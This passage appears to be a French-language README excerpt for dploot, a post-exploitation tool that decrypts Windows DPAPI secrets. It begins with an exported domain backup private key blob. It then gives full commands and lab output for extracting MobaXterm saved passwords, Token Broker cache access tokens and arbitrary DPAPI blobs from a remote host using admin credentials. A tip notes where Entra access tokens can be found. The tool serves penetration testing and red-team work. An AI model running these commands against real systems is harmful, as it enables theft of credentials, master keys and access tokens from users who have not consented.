PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}
[-] Exporting domain backupkey to file key.pvk
La commande mobaxterm extrait les secrets MobaXterm et la clé masterpassword depuis la ruche (HKU) et les déchiffre avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, ou avec -passwords FILE combinaison user:password, -nthashes combinaison user:nthash ou un -pvk PVKFILE pour d'abord déchiffrer les masterkeys. Si l'utilisateur n'est pas connecté sur la cible distante, dploot téléchargera et extraira les secrets depuis NTUSER.dat.
Avec pvk :```text
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
[*] Triage MobaXterm Secrets
[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234
[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883
### wam
La commande **wam** recherche les fichiers TBRES du cache Token Broker et déchiffre leur contenu avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison de user:password, `-nthashes` combinaison de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les masterkeys.
Avec `pvk`:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Triage Office Token Broken Cache for ALL USERS
[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]
Conseils : Vous pouvez trouver le jeton d'accès Microsoft pour les utilisateurs Entra dans les fichiers TBRES.
La commande blob déchiffrera un blob DPAPI avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, -masterkey {GUID}:SHA1 ou avec -passwords FILE une combinaison utilisateur:mot de passe, -nthashes une combinaison utilisateur:nthash ou un -pvk PVKFILE pour d'abord déchiffrer les masterkeys.
Avec pvk :```text
dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Trying to decrypt DPAPI blob
[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]
Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
***Astuce*** : *Vous pouvez trouver le jeton d'accès Microsoft pour les utilisateurs Entra dans les fichiers TBRES.*
## Crédits
Ces projets ont beaucoup aidé à l'écriture de cet outil :
- [Impacket](https://github.com/SecureAuthCorp/impacket) par la communauté
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) par [Harmj0y](https://twitter.com/harmj0y)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) par [gentilkiwi](https://twitter.com/gentilkiwi)
- [DonPAPI](https://github.com/login-securite/DonPAPI) par [LoginSecurite](https://twitter.com/LoginSecurite)
- [WAMBam](https://github.com/xpn/WAMBam) par [_xpn_](https://twitter.com/_xpn_)